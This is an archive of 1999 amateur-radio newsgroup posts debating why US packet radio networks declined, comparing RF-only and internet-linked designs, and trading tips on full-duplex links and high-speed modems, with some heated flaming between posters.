In practice, a 3-programmer company will usually not pick up someone from the street and hire him as their new programmer. Such small companies usually employ enthousiastic people who have "learned programming by doing it". They usually have no problem handling the tools, but they often lack the knowledge and broad experience to design, implement and test a piece of software that doesn't collapse on the first unexpected event. That is not "learning a tool", but using sound design and implementation techniques (expecting errors, handling expected and unexpected errors) and testing methods (instead of "gee it seems to work, let's ship it as the 1.0 version). The tool is not very much involved in this process. In fact, programmers that spend most of their time using fancy debugging tools in their IDE usually don't write good code: they tend to "test until no more bugs are seen", instead of thinking ahead and avoiding the bugs before they creep in.

Try running convers over a wide area using ham radio.
Forget the "one hop RF link to the internet." That's easy, anyone
can do it, not much skill involved. Put the servers and the
clients all on ham radio (as RoundTable does) and you will
find you are pretty much out of luck outside perhaps a 200
mile radius. The network ain't there.

This is the "Let's forget ham radio and use the internet"
a.k.a. Land Line Lid solution. I'm not interested. It's cheap,
it's easy, but it's not ham radio. No ham radio NETWORK
involved, just a simple link.

> As for kids, maybe it's not so important to do video
> or audio or any of that, as it is to be able to do it at SCHOOL.

To do this, you first need the ham radio network.

> I could see this is a possible short term goal for ham IP locally.
> For example, for us, a network that covers say the SF Bay, San
> Jose, and the Walnut Creek/concord area that could support real
> time chat.

This is what we did in Portland: tried to cover about 100 miles in
all directions. It worked fine for chat with the 9600 network. When
we attempted to extend the next few hops (out to 300 miles) it
pretty much failed. Delay times too long, too much congestion
from the larger number of users. How to solve this? Some ideas:

Faster networks. 56k and faster gear is available commercially.
You just need to rebuild the 9600 network with 56k or faster.
This approach is how we got from 1200 to 9600. Why not do it?
When we did the 1200 -> 9600 conversion, the internet was not
an option; few if any Land Line Lids were around. When we tried
to do the 9600 -> 56k conversion nobody came to the party.
The Land Line Lids had already bypassed the ham radio network.

> As for the 'politics' of network building, so far, at least from what

The problem is to find ANYONE interested in building the long
haul networks. I've gone as far as to have gear drop-shipped at
no cost to the fella at the other end of the new link, just to get
SOMETHING running. Is that link used? Hardly at all. The packets
preferentially route over a Land Line Lid internet bypass link instead.
We solved that problem by disconnecting the offending Land Line
Lid from the radio network.

We could do the same. We don't.

Interesting. I thought that the problem would be cost - in that why should I pay for it if some other amateur is going to invest his money. In other words, around here, the amateurs are cheap bastards who don't want to share the few toys they have. Evidentally, with this guy who got the equipment, free to him, and still not using it, cost isn't the issue....

That's because amateur radio is usually "everyone for himself" (i.e. anarchy) and for a network to work, that requires cooperation (which doesn't and probably will never exist in my area), let alone the malcontents, voice repeater jammers, etc.

Also, people keep saying that there's all this 38k or 56k equipment available. I never see it here in my local area (Los Angeles) and I don't see any of the major amateur radio stores (HRO, AES, etc., per their catalogs) selling it. Maybe our local convention in 2 weeks will prove me wrong - but the last ones and our local swapmeets have not. I've even done some searches on the web, and for example, the "grapes" modem: All I find is articles about it, but nothing regarding its sale; not even a used one for sale. So, the first problem is: If this stuff truly exists, where is it hiding?

Whatever... I'm still a little curious exactly how your network
worked. Did you have a single chat server for
the entire system -- or did you have seperate chat servers
for the outlying areas that were linked. And, if you had
multiple chat servers, was it the links between servers
that was the bottleneck?

RoundTable is a distributed chat server. We had roughly 25 servers
running it. There are two places congestion occurs: at the user links,
which were typically 1200 baud with several users per channel, and
across the slower (i.e. multi-hop long haul) backbone links. There is
also the issue of user education. If all the users are on the same "channel"
(called a "topic" in RoundTable) there is more congestion than if users
split off into smaller chat groups. Pretty much the same situation as
all the ham radio based converse or chat servers.

> If this stuff truly exists, where is it hiding?

Interesting question! I was considering some units by PACCOM,
with I forget which modems. A quick check on the web, and I
cannot even *find* PACCOM any more. Are they still in business?

The only other solutions I found required you to build your own
modem / radio combination. Nice idea if you have enough lab
gear to test/debug/tune. I don't anymore, so this was not an option.

The above all happened some time ago though. Perhaps there is
gear available now? Perhaps someone can enlighten us all.

How about it folks, anyone know where to buy some ready to go,
plug it in and play, 56k or T-1 modem/radios? Um ... for ham radio
that is, so I can run some power and large antennas.

I'll claim sleep deprivation ... or spelling incompitince.

The products are still there. Using the WA4DSY modem.
"Some assembly required" i.e. the transverter and
amplifier you will need to make a useful system.

Sounds like a "nearly plug and play" solution.
Guess I'll need to put SCC drivers into SNOS if I play with these.

We did have a project in the works to do circuit boards
for 223 MHz at about the 50W level but that got hung
up due to cost of the prototype/debug/deploy steps.
I think WA7EES has the artwork files ...

Did anything ever come of the idea of hanging a modem off an
ethernet AUI port? Saw some discussion of this potential
solution a while ago, then nothing further.

As I recall there was also some work at T-1 data rates in
the past, but have not seen any products appear.

3866. FullDup RF links, anyone?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-16 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7rqheg$o2u@enews4.newsguy.com>
Source record: 16674

Has anybody here in the US tried fooling around with full-duplex packet node-node links? I've been told that a fulldup 1.2kb link will outperform a normal halfdup 9.6kb link, partly due to timing delays not needed in a fulldup link and partly due to reduced overhead... Any opinions on that? Sounds like it may be an exaggeration to me, at least to some extent. I'm ready to be pleasantly surprised, of course.

Here's what I've decided to try out:

Since I'm on a low budget and am basically an appliance operator, I decided to run one side of the link on 220 MHz and the other on the 440 band. Somebody who knows what they are doing might prefer to do it with commercial rigs on the same band, set up repeater-fashion with a set of cavities to cut down on cross-channel interference. I'm going cross-band in an attempt to cut down on the complexity and expense.

Since transceivers are not really needed, but rather separate transmitters and receivers, I decided to go really cheap and use old scanners or whatever to handle the "receive" end, and an old Rat Shack 440 HT with no battery for the 440 Xmitter. I'm still not sure about a cheap 220 MHz Xmitter - Does MFJ make a "DataRadio" for that band?
Maybe I'm wrong, but I'm hoping that a couple of ancient crystal-type scanners would make great receivers for this purpose. They certainly are cheap enough, when you can find them.

The antennas for both sites will be identical: A ten-foot boom with a 220 yagi on one end, and a 440 yagi on the other. That puts both antennas about four feet from the tower, on opposite sides. The boom could be longer, but I'd rather not unless I have to. We get lots of weather here.

I'd appreciate all comments, suggestions and criticisms before I dive into this, since I have no clear idea about what I'm doing. Anybody out there who has already been there and done that? (Fulldup 1.2kb)

3867. The Applications Mantra

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-16 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7rr0ns$2hca@enews1.newsguy.com>
Source record: 16675

"If we could get some new killer applications running on packet, this would cause the hobby to become more popular and bring in lots of new Hams."

Sound familiar?

It should... This is one of the many variants of the "applications mantra" which has been floating around the amateur packet radio community for several years now.

It is politically correct to repeat this mantra, so we get to hear it a lot. Almost everybody pays the obligatory lip service to it, sooner or later.

Being "politically correct", this also puts the "applications mantra" under the category of things that people tend to put their mouth in gear to repeat without bothering to engage their minds first. They don't tend to examine the statement and see if it really holds water... It's one of those "everybody knows" things; common knowledge. Most of us would be embarrassed to even question it but as we all know, I am impossible to embarrass in this way. ;-)

Many of you will be upset at me taking a few pot-shots at this sacred cow, but has anyone else in the group taken a good look at this matter lately and thought it through? Where's the evidence to back up the constant assertions that a new application for Packet will cause the problems the US Packet net is currently facing to suddenly go away?

Hams are so used to repeating the "applications mantra" that it never occurs to them to examine the reaction of Hams to new packet apps as they appear, and see if the wild enthusiasm that has repeatedly been predicted actually occurs. In other words, where's the evidence that the "applications mantra" we have all been busily parroting has any basis in fact?

In my opinion, it is mainly a bit of misdirection brought to us by the people who are actually responsible for the problems that the "applications mantra" lamely blames on a lack of new packet applications.

Amateur tcpip devotees have led the chorus in chanting this mantra, and there are numerous examples of virtually every amateur tcpip enthusiast on the net taking their turn to pay lip-service to the ever-present and obligatory "applications mantra".
Until recently, this was almost exclusively done in reference to those wonderful built-in tcpip apps that are included with modern operating systems, and how Packet in the US would take a rapid turn-around as soon as they became available for use on packet... But now that they have been available for several years and almost none of those same tcpip devotees are even attempting to use them, those particular apps have now been removed from the mantra and new, as yet un-thought-of apps have magically taken

their place there.

Convenient, huh? Perpetual "Vapor Apps" whose crying need can't be questioned because they do not exist and nobody can imagine what they might be... Great for the circular reasoning so popular with the mantra-chanting set.

Like I say; Where's the evidence that the "applications mantra" has any basis in fact?

Gee, what if it turned out that it was one of those things that SOUNDS GOOD, but is actually a waste of hot air? What if it turned out that a lack of new killer applications is not what's been holding back and screwing up the US packet net after all?

This deal is not by any means limited to amateur tcpip... For example, there is regular ax25 packet software now that allows exchange of digital audio messages on a reliable and practical basis on nets as slow as 9.6kb. This (BuxTerm) is a great step forward, so where's the wild enthusiasm? Where's the hordes of new Packet ops clamoring to build up new network infrastructure so that they can really enjoy this exciting new application?

Fact is; Both ax25 and tcpip packet ops have been literally swimming around in new exciting applications for the last few years and I have seen no evidence whatsoever of the sudden resurgence in the US Packet net that the "applications mantra" always insists will happen.

The evidence does not support the theory, folks. When a new ham hears the "applications mantra" and then goes on to parrot it himself, it is clearly a severe case of GIGO. (Garbage in, Garbage out)

If there were such a crying need for new Packet applications, where are the practical suggestions for just what these new apps would be? If the need were real, we would be flooded with demands and suggestions, but what really happens is an uncomfortable silence when the subject is brought up. Nobody can think of a single new thing to suggest. - They just like to chant the comforting mantra and make excuses.

If there were such a crying need for new Packet applications, where is the wild enthusiasm that was predicted when those new apps actually appear? Where's the evidence?

I am not suggesting that there is no real need for new Packet apps... Heck, we'll *always* be glad to see new software with better capabilities. But I think it's time we stop trying to pretend that the US packet net is somehow being held back by a lack of new software, and that the release of new software will address the real problems facing the US packet network.

I don't know about the rest of you, but it's getting to the point with me that when I hear somebody parroting the "applications mantra", my first thought is "There's a person who is not interested in thinking and observing for themselves, or who has reason to want to muddy the waters of this subject."

So continue to chant on if that's your religion, but don't expect me to respect you for it, or take your "thinking" seriously. As I mentioned before, my opinion is that the "applications mantra" is a bit of misdirection brought to us by the people who are actually responsible for the damage to the US packet net... The damage that the mantra tries to blame on a lack of new packet applications. Sorry, but that's all a bit too lame for me to work up much respect for. I'll leave it up to others to parrot that particular load of politically correct crapola.

It's the radios we are neglecting, not the software. The focus in the USA needs to be on using and developing RADIO, not the software which we have done well in developing but then found to be virtually meaningless without a network to use it with.

Message-ID: <37e13779.20631658@news.tds.net>
Source record: 16678

Hi Everyone,

I need a DDS chip, and would rather NOT use the Analog Devices chips (if possible). I need a SIMPLE DDS chip, don't need amplitude control, PSK generating/phase shift capability and 1 hz steps up to 500 kc output frequency would be great.

Parallel or simple serial inputs to control the output frequency would be a plus.

Does anyone make DDS chips or am I stuck with the AD super chip?

Thanks,

Art

3871. Re: The Applications Mantra

Charlie:

I agree!

Now what can we do to fix the "radio" problem?

Clearly we need to make the radio problem "easy" for application users. The radio problem should be transparent to the application users. I know this leads to "appliance operators", but we need lots of application users/appliance operators to make a US amateur packet network viable. We need growth and participation.

How can we make it so?

Heck we have the frequencies, we have the bandwidth. . . if we don't use it someone else will.

We just don't seem to have the plug and play radio solutions for the tens of thousands of appliance operators/packet application users to plug in and operate.

How can we make it so? Fix the radio problem that is!

Charles:
>
> I agree!
>
> Now what can we do to fix the "radio" problem?

That depends on your pick of these two systems:

A: A multitude of small high-speed tcpip LANS, linked to each other via the Internet. The Internet is used in this case to simulate packet radio networking without actually doing it.

B: An independent, RF-based digital network designed, owned, built and operated by Hams, capable of transparently transporting a number of digital protocols including but not limited to tcpip. This requires the participation of many hams and the building and coordination of both HF and VHF/UHF digital networks, along with AMSAT into a single global net, capable of independently delivering digital info anywhere on the planet and a few places beyond, such as near-earth orbit and the moon.

If you are happy enough with A, then you should be talking to TAPR. They not only advocate A, they go so far as to undercut and set back efforts to achieve B. Ask the president of TAPR, and he will tell you that B literally cannot exist, overlooking the fact that it has existed in Europe for some years now, and once existed here in the USA. This is sad to B guys like me, because in his earlier, more productive years he made some good contributions to the B cause.

If you like B better, then you really DO agree with me. You've chosen the thorny, difficult path to excellence and achievement, echewing the slippery slope to mediocrity. Your basic premise is that Hams are capable, intelligent types with a streak of good will for their fellow man running through them, instead of the ignorant, selfish boobs we all must be in order to satisfy the expectations of the A's.
If this is your choice, you have both my congratulations and my condolences. They don't call it "the hard road" for nothing!

> need growth and participation.

The only way to do that for those who insist on using tcpip apps is plug 'n play, no-brainer high speed packet for next to nothing.
The problem with this, of course, is that the high speed also pretty well requires high frequency radios, high quality feedlines, and everything has to match up well with the equipment the other guys are using. So it's complicated instead of no-brainer, far from being plug-n-play, and expensive as well. You pretty well need a service monitor to get things set up properly. Definately not for appliance operators!

We've had no-brainer, plug 'n play packet for some time. It only becomes difficult to realize when you add tcpip, and the high speed it in turn requires.

Where A differs with B is that B guys like me see the need to build and use a network infrastructure now, whether it's fast enough for tcpip or not; the theory being that a network in place will tend to improve, but a network ignored and allowed to disintegrate is a dead network, and that's utterly useless.

This theory is borne out by the NEDA network in the NorthEast US, which has hung around through thick 'n thin as an X1J network with 9.6kb backbones, and which is now going over to FlexNet and 19.2 backbone links and some 9.6kb access, and is once again GROWING! It's being modernized, expanded, and speeded up as we speak. - And becoming much more useable for tcpip, by the way!

The NEDA folks deserve a hand for pulling off a miracle when everybody else is still caught up in doom 'n gloom. These are REAL HAMS, expanding and developing the use of HAM RADIO.

The nearly defunct TexNet network in Texas is a good example of what happens when the president of TAPR and other A guys have a say about the operation of a large-scale network. - Thier idea of "improving the network" for TexNet is a plan to link their nodes together by Internet instead of those pesky radios, and phase radio-only nodes out of the "network". - The whole thing is collapsing from a general sense of apathy and boredom born of mediocrity. Nobody can get too excited about being part of a failure, and being told that failure is the best we can expect. The A guys in TexNet and Greg Jones of TAPR are REAL LIDS undercutting the use of HAM RADIO.

So I agree about the need for more appliance operators and more network infrastructure, but I probably differ in that I think tcpip is not currently the best choice for everything that we do. It has a place now, and will have a bigger place later, but it is not the only system we have at our disposal and is not always the best thing to use.

An A guy will tell you that anything not useful for tcpip is not useful at all, and so they dismiss what can be done on HF at 300 baud , and what can be done with no-brainer, plug 'n play equipment at 1.2kb and 9.6kb. Fact is though, that the slow stuff is needed for long-haul communications on lower frequencies, and for use by the great unwashed masses of appliance operators who make up better than 90% of the packet community. (And who provide the bulk of the revenue for the development of better equipment and software.)

B guys will tell you that communication is the goal, not just communication with a particular brand name, data transfer speed or protocol. By all means use tcpip for any sections of high frequency, high-speed network you may currently have if you like, but don't discount what can be done at slower speeds on lower frequencies with different protocols.
I'll go a bit further here and say don't discount what can be done by other systems at all speeds. In particular, don't discount the possability of Hams developing their own protocols, tailored specifically to the RF networking environment we find with Ham Radio.

An existing 1.2 kb network is infinately easier to upgrade to higher speed than an nonexistant network, wouldn't you say? The node sites and feedlines are already there, and those are the parts that are hard to come up with. When stuff like that is disparaged and allowed to stagnate simply because it is not suitable for tcpip, it effectively keeps it from ever BEING useful for tcpip. You can't easily upgrade a dead network or abandoned node sites.

>
> How can we make it so?

Don't abandon tcpip and high-speed packet, but don't be unwilling to look beyond it either. Don't forget where the money comes from.

> Heck we have the frequencies, we have the bandwidth. . . if we don't use
it
> someone else will.

High-speed packet (and tcpip) is only likely on UHF freqs and higher. If you reject or neglect low-speed, long-haul digital communications, you are also rejecting the use of most of the spectrum available to us, and neglecting the ability to communicate at long distances via radio.

> We just don't seem to have the plug and play radio solutions for the tens
of
> thousands of appliance operators/packet application users to plug in and
> operate.

Not at high speed. This will happen someday, but not right away and we need to plan accordingly.

>
> How can we make it so? Fix the radio problem that is!

Build a network infrastructure back up, boot out all the A types in TAPR and the ARRL, and then DEVELOP the and EXPAND that network, the way the NEDA guys are doing right now.

That's what the Europeans did to get their fancy high-speed, large-scale network. They respected, maintained, developed and improved the same old 1.2kb network we also had ten years ago. We spit on ours and abandoned it, so now we have nothing.

Where do people get these things. There's a guy here in Concord who
uses GE Myteks, I think they're called, but I've never seen these for sale
anywhere either. Is there a online store that stocks this kind of thing, or
is this
a swap meet item? I saw a site, that said GE Master II was 100 watts!
What is going price for these radios? I didn't find anyone other than
individuals
selling these radios in my quick scan of the web.

Yeah, or maybe for like that chat application like that that guy was trying
to
do, maybe this kind of thing would work a lot better, since the
latencies might be hugely lower, I assume.

Yes, there were several things the Europeans had going for them that we
didn't:

The A types never became very influential in Europe, and laws over there
protected the digital ham radio net from damage by persons attempting to
move ham radio traffic via non-ham means of communication. It never became
fashionable there to disparage the network and try to convince people that
it couldn't be done or simply was not worth doing. - So they did it. People
are funny, that way.

Here, the A types did gain influence and there were no legal protection
against "LandLine Lids". - So our network was undercut, disparaged and
LandLine-Lidded out of existence while the European packet net went right on
developing and growing.

You could say the Europeans were advantaged, or that we were handicapped...
The end results are the same.

>I do not see operators with similar
> disposable incomes opting for a "slow" radio data network when thay have
> the same internet options as we do, at similar prices. I am of the opinion
> that human nature is universal; given the same resources and options, we
do
> the same things, in general.

If we had done the same here as the Europeans did, you and I would be very
likely to be having this discussion via amateur radio instead of the
Internet.

It would at least have been an option.

You can look at this any way you want to, but that won't change the facts: The A types have pretty well called the shots here in the US for the last decade. The B types got their way in Europe.

Want to take a wild guess at which group has accomplished more, and has something to be proud to show?

Want to guess which group had everything go to hell on their watch, having managed to turn the most extensive and advanced packet net around into a laughingstock in less than ten short years, and almost destroy the very manufacturers who made their equipment by decimating the national market with their policies, attitudes and goals??

> If I have other things to do with my life that I consider of greater value
> to me, why should I choose "slow" data radio, of any flavor, after my
> experience with packet wars and the bs politics of majority mediocrity?

Well if Ham Radio is not good enough for you, buddy, why don't you do the proper thing and take a hike?

This discussion is for people interested in communicating by Ham Radio. There are other newsgroups for people who are still fascinated by the Internet.

> Life is too short. I am "gung ho" for the concept of a

> swap lies over an 807.

You don't know anyone who wants to use radio... I'm not surprised, with the attitudes you are displaying here. What rational Ham would want to associate with you?

Again, maybe you've wandered into a discussion you are not really suited for.

>
> For the average Joe Ham, there is no real desire or reason for an rf data
> network.

Tell that to the thousands of Hams who use the BBS system here in the US despite the best efforts of the A folks... Then tell it to the thousands more who do the same thing a lot better in Europe because they never had an A problem in the first place.

For several years now, a number of FlexNet nodes in Europe have been moving peak loads of better than 10 MB of data an hour. This represents not only a level of technical achievement unheard-of in the USA, but also a vital and enthusiastic packet community who obviously DO enjoy communicating via packet radio.

Sorry, but you are not going to convince me that buying packet equipment for use with the high-speed net in Europe is cheaper than simple Internet access. It's more expensive to get Internet access there, but not THAT much more expensive. Those hams use the packet net because that's what they - as hams - want to do and enjoy.

Making global judgments based on experiences gained within an isolated, insulated clique of geeks would go far in explaining your outlook. - Been hanging out with the A crowd lately?

>Nothing you can offer can compete with the landline internet that
> has sucked up most motivated amateur radio rf networking talent and the
> appliance operators that would have to support such a national rf network.

Yes, exactly. This is why it's utterly moronic to pursue the goal of melding the Internet and Packet radio together. You guarantee failure for yourself, and a future that holds nothing more than a promise than to be a bloodsucking parasite, hanging off of the Internet's butt.

This may be hard for you to follow or understand, but there are a significant number of Hams who got into Ham Radio in order to use radio, not for cheesy, third-rate Internet access for "free". (After buying hundreds of dollars worth of equipment) These persons have no interest whatsoever in hanging off of the Internet's butt, instead being interested in an independent, all-ham-radio digital net that they can be proud to be part of. A network built on Ham Radio, by Hams.

It doesn't surprise me that you would insist that nobody wants a packet net. In your little world, you are probably completely right on that score.

> You can rail against "progress" and as Peter referred to, the consequence

> network is a pipe dream.

Yes, that's what the world looks like to you A types... Thanks, but no thanks! I found out a long time ago what "can't" gets accomplished, in comparison to what "can" will do.

Silly of me I suppose, but I have faith not just in my fellow man, but also in my fellow hams. Sorry you do not see things that way, but I understand that a crappy attitude is a vital part of the A way of doing things, so I won't try to change you or convince you to do otherwise.

Poor thing.

Rob, granted that you have excellent radio networking capabilities - and are to be congratulated upon the accomplishment! - I still have a question in my mind:

What do you *DO* with the networks?

This is not a "dumb question" nor am I attempting to flame anyone or start an argument. I just honestly don't know what I or most any other ham would do with a packet network, regardless of how well it works. Color me stupid or behind the times, I guess . . .

I was active in packet radio and in starting TPRS and TexNet in the mid-80's here in Texas, although I left the scene shortly after TexNet became a reality as my interests changed about that time. But, as I recall I had the problem even then of trying to figure out what to *DO* with TexNet or any other packet network. We had a couple of local BBS stations that seemed to handle the messages and for sale ads, etc. and there was some local rag-chewing simplex. But, what to do with an amateur network between Dallas and Houston? You couldn't even get on and see if anyone in the Houston area was on and just wanted to chat . . .

I found it to be an excellent hobby network for those who wanted to play with building and then running a network, but having just retired from Texas Instruments where I was responsible for several years for the performance and availability of over 30,000 terminals on the TI worldwide network, I really didn't want any more of that kind of "fun." ;^)

As you can tell from my sig file, I have been at this foolishness for a few years and dearly love the radio side of ham radio. I still get a kick out of tossing a wire in a tree and talking to a guy halfway around the world. I am seriously engaged in digital communications in the shack, chiefly PSK31 on HF at the moment, as well as CW operation, etc. I hardly qualify as a "landline lid."

But, here it is 15 or so years later and I think that I am reading folks still asking and discussing the question: "What do you *DO* with a network?

The only real applications of packet that seems to have had any effect are APRS and the DXcluster. I suppose that these "applications" would be reason enough for a network, although in the case of the DXclusters, the Net has already pretty well taken that job giving one the ability to interact with DXcluster nodes all over the world.

So, at the risk of setting Brabham off again, what would you do that at present can't be done better, cheaper and faster over the Net, except that the Net doesn't give us the opportunity to use amateur radio as a

transmission means? BTW, I firmly agree that if we are in the business of building and operating an amateur radio network, we should use amateur radio links throughout.

But, you see, I really have a problem trying to explain to some folks, such as my 12-year old grandson, why I peck at a keyboard in the shack to talk at 31 bps via PSK31 to some guy when I could just as easily chat with him at much higher data rates - even on voice or video - at much less cost and fuss. I try to emphasize the "radio" angle and the "thrill" of it all, but that falls on deaf ears in the modern world.

I talk weekly to my son K5SR who is Information Officer at the US Embassy in Sarajevo in Bosnia. We voice-chat by Yahoo Pager and have excellent quality and reliability. Delta cost = zero for the capability or time. Because of such, I am unable to persuade my son to get back into ham radio since I can offer him nothing that is not already freely available on the Net.

Nonetheless, I will enjoy yammering on a mic, working cw and chatting on a keyboard for as long as I live. Now, if I could just understand what it is that I am missing by not having an amateur radio network?

For me, I think I am completely comfortable with the notion -- that at some level it is just all madness. It's just a hobby. I have a friend who shoots off
model rockets. What's the point of that? I don't evaluate that hobby in terms of, "Well, I could get in 747 and reach 20,000 feet much cheaper." It's just not relavent.

Still, around here, there seems to be some movement, at least on the ax25 side, of justifying things in terms of 'emergency communications.' and that some of the NODES and BBS's are installing backup power supplies and things like this. This might some legs. Like I've heard of a goal, to establish emergency links from City governments to some County office in, err, Danville or something like that here in Alameda county. And, maybe a backup network of some kind would be a way to do this. That is to provide a 'backup' email link, so that when the net and phone come down after a quake, that the offices that have emergency power can email each other. I recall mention in some ham documents somewhere that the Packet system in CA should be kept going for some kind of emergency purpose, and I assume the emergency power is the extent to which this is actually happening -- and that is something I guess.

I find it moderately pleasurable to just poke around the NCA network around here, and find that people still seem to be plugging away, more or less in one form or another. I've been sending out some packet email and receiving some email too lately. I think these things are somewhat, what you make of them, and if you seek out people to communicate with via PBBS mail, you'll find them. Though it doesn't just happen without sending out some messages. It doesn't really affect the quality of the communications too much that messages take awhile to get through, though it is annoying when they just disapear without bouncing.

Some of the EU people I talk to say that PBBS mail to the US doesn't get through, though my understanding is that PBBS mail to here in CA should work. (And it seems to go through through the satellite or HF from the headers I see, so that' s kind of cool.)

>

No shit, Sherlock!

Ok, lets explain it to you again. How many Hams do you know, want to develop a network? None. The majority of Hams are Hams because they think of the hobby as a voice mode. It's the rare Ham that goes out of his way to get more than one tower going. Most often, there is no support money-wise. This is for two reasons: 1) why have a group getting in your way, and 2) accepting donations of money or equipment gives people a vote. Most Hams like to do thir thing, and you use what they provide.

Packet radio in the U.S. will never be referred to as a "network."

They might exchange BBS messages, or mail, but anything else on a pure radio basis, will never have an end-to-end capability, or reliable enough infrastructure. The ARRL is just now moving off the center of the population bell-curve of Morse Code over everything, to the new population of Hams (born well after the Choo-Choo) who never cared about Morse code, nor ever will. The new license proposal they have adopted, moves Morse code to the fringe. The digital part of the hobby still has not gone anywhere since no-code was created (forced on the ARRL by the FCC) because most no-code Hams have stuck to voice.

It's the 13 year olds we want to attract. Boys and Girls, and not just retired white men. These kids are, at that age, what we used to call computer scientists 20 years ago. How many of you have seen the TV show on PBS called "Wishbone?" It's the black boy who's the nerd, and the white kids are all into basketball. While overplayed, the boy is an example of that age group, given enough money by their parents.

When I show packet radio to a youngster, they laugh. They roll over and kick their feet as if they were in an epileptic fit, roaring with laughter. After they recover from the initial shock, they then look at the problem realistically. Bandwidth costs money, and retired white men don't have it. Retired white men only know about wide-band FM, or FSK. They can't comprehend Spread Spectrum, and any organization that favors it is somehow a communist anti-morse code heathen.

The future of "packet radio" is wireless networking. The radio engineer who can design a 10 watt 2.4 GHz box that sits between our wireless ethernet cards and antenna, would be the infrastructure King or Queen. Packet radio would then be TCP/IP by defacto. You can't do that with Part 15 rules. 10 watts is only a dream. Ham radio with SS cards and amps would be a revolution in wireless networking. It would overnight change the way packets move across the state. Wide-band 1 MHz bandwidth (fog horn) technology is shit. Will always be shit. Even the power companies don't use microwave anymore, they string fiber with the electric power between high-tension towers.

When you get off your FSK and wide-band FM high horse, then and only then will you be ready for the next packet radio. 10 watts at 300 feet running 1.6 Mbps will negate anything you could dream about your TAPR TNC-2 clones funtionality. With whatever software you want to connect serially to it.

> Has anybody here in the US tried fooling around with full-duplex
> packet node-node links?

Yes.

What you should look for, is a couple of GE Master II. Buy a UHF one,
and a VHF one, and then swap the receiver boards. One listens on VHF
and transmits on UHF, the other listens on UHF and transmits on VHF.

> I've been told that a fulldup 1.2kb link will
> outperform a normal halfdup 9.6kb link, partly due to timing delays
> not needed in a fulldup link and partly due to reduced overhead...

Not if the 9600 baud is done right, but most 9600 baud uses small
packets and long TXD, and is no better than 1200 baud when you get
right down to it.

> Here's what I've decided to try out:

I would use a couple of GE, and Comet Omnis. Run the 2 meter side up in
the 147 MHz range, and link it to another radio on the traditional
145 MHz range on another antenna 4 feet above or below the Comet,
or an HF link.

You couldn't keep the channel full on the full-duplex link. There isn't
that much data in all of packet radio :-)

After observing how popular among teens the SMS (Short Message
Service) in the GSM cellular network really is over here, it is quite
strange that nothing similar is used in packet radio. These messages
(up to 160 characters) are entered using the numeric keypad (in a
somewhat awkward way :-). In addition to sending messages to each
other, there are information servers that sends data over SMS messages
and even other types applications built around SMS.

The amateur 1200 bit/s packet network would be quite sufficient for
similar applications in addition to the current packet cluster or APRS
applications. The problem seems to be the lack of suitable
"peripherals". It is far too cumbersome to carry around a PC and an HT
in order to be able to communicate with packet. There are some HTs
with built in TNCs, but I do not know, if text messages can be entered
autonomously without a PC. Anyway, if autonomous HTs with built in
TNCs and some sort of text entry method become popular, this would
make it possible to develop many types of information service, remote
control and messaging services. Such informational services are very
usable, when you are on the move, but not very usable when you are at
home at your fixed station, when you have easier means of accessing
the data e.g. from your books or computer.

The problem is that there are only a few applications, since there are
very few lights weight autonomous HTs with built in TNC, display and
data entry and on the other hand there is not much interest among HT
manufacturers to build such devices, since there are no applications
for these devices.

Greetings

Can't help with ideas of experiments in the US of A but over this side of the pond I can tell you some of the things that will help.

1. Increased packet size will also improve throughput (especially if you are sending IP over AX25) since the ratio of header to data improves.

2. Increased window size - you will be getting the acks back directly but this helps if a packet gets lost and needs a reTX.

3. Full-duplex mode 2 (as its known on SCC cards) This is where the TX will key up to send the data but then 'hangs around' for a while before de-keying in case some more data comes along. Something like a 10 second hang time will ensure that a reTX doesn't need another TXdelay period - it may be possible to do this with a hardware timer but the problem then is knowing when to put in a TX delay and when not to. Maybe loop the (inverted) PTT line back to DCD so the TNC knows when the rig is keyed up if the TNC doesn't support this full-dup mode?

You certainly won't reach 9k6 rates (I would expect 120 bytes/sec from 1k2 full-dup but 600 bytes/sec 9k6 half-dup) but its worth while.

BTW - we get over 1000 bytes/sec (2200 with compression) on our full-dup 9k6 links :-))

I find myself looking for a reference for a question that
has surely been answered many times. I don't need the full answer
on the group if there is a reference somewhere (esp. URL).

I have a situation where a number of stations are trying
to use one BBS at 1200 baud. What affects performance, how does
performance degrade as stations are added? Is there a way to
calculate "peak" and/or "expected" performance (meaning total
characters per second transferred).

Looked at another way, I am trying to find a document which
describes what kind of overhead I can expect on a 1200 baud link with
multiple stations.

Hi, Charles.

I read some of the arguments and name calling here, and as an ex X1J node operator/TCPIP/AX25 weenie I can appreciate much of the arguments, regardless of whether I agree or not. The reference to the European model makes me wonder if there are other incentives to motivate European hams to expand and upgrade their network. I do not see operators with similar disposable incomes opting for a "slow" radio data network when thay have the same internet options as we do, at similar prices. I am of the opinion that human nature is universal; given the same resources and options, we do the same things, in general.

If I have other things to do with my life that I consider of greater value to me, why should I choose "slow" data radio, of any flavor, after my experience with packet wars and the bs politics of majority mediocrity? Life is too short. I am "gung ho" for the concept of a national/regional/local "high speed?" network, but except for a few high tech regions of the US, with sufficiently motivated techies to do it for there own satisfaction and the use by others, the choices of most folk I have spoken to are on to other things; and they aint looking back except to swap lies over an 807.

For the average Joe Ham, there is no real desire or reason for an rf data network. Nothing you can offer can compete with the landline internet that has sucked up most motivated amateur radio rf networking talent and the appliance operators that would have to support such a national rf network. You can rail against "progress" and as Peter referred to, the consequence

of economical and abundant plug and play solutions with the reliable connectivity that is available to most due to the economics of scale and competition. I, too, mourn the loss of our archaic packet network, but given the current choices, the scenario of a national high/slow speed rf network is a pipe dream.

As a "raver" for principles, I can appreciate tilting at windmills and the occasional catcall, "Rave on!" ;-)

Instead of trying to use packet technology for the last hop, it seems more
logical to me to use paging devices. When there is a possibility to
convert certain surplus POCSAG pagers to amateur frequencies, and
descriptions for that conversion would be published, it would be possible
to add a POCSAG transmitter to packet radio network nodes. The packet
network could be used to distribute the messages, and the POCSAG
transmissions can be used for the last hop.

(of course the disadvantage is that the mobile party cannot reply)

You guys in the US may think that you are at the forefront of technology,
but over here in Europe we have realized that point 10 years ago, and full
duplex link transceivers have been developed and widely deployed.

They usually operate on 1240/1299 MHz (59 MHz split) with a duplexfilter
DF9IC developed. The transceiver is usually one of his designs.

of course it will perform better than halfduplex. and with crappy
Japanese transceivers it may well perform better on 1k2 than a halfduplex
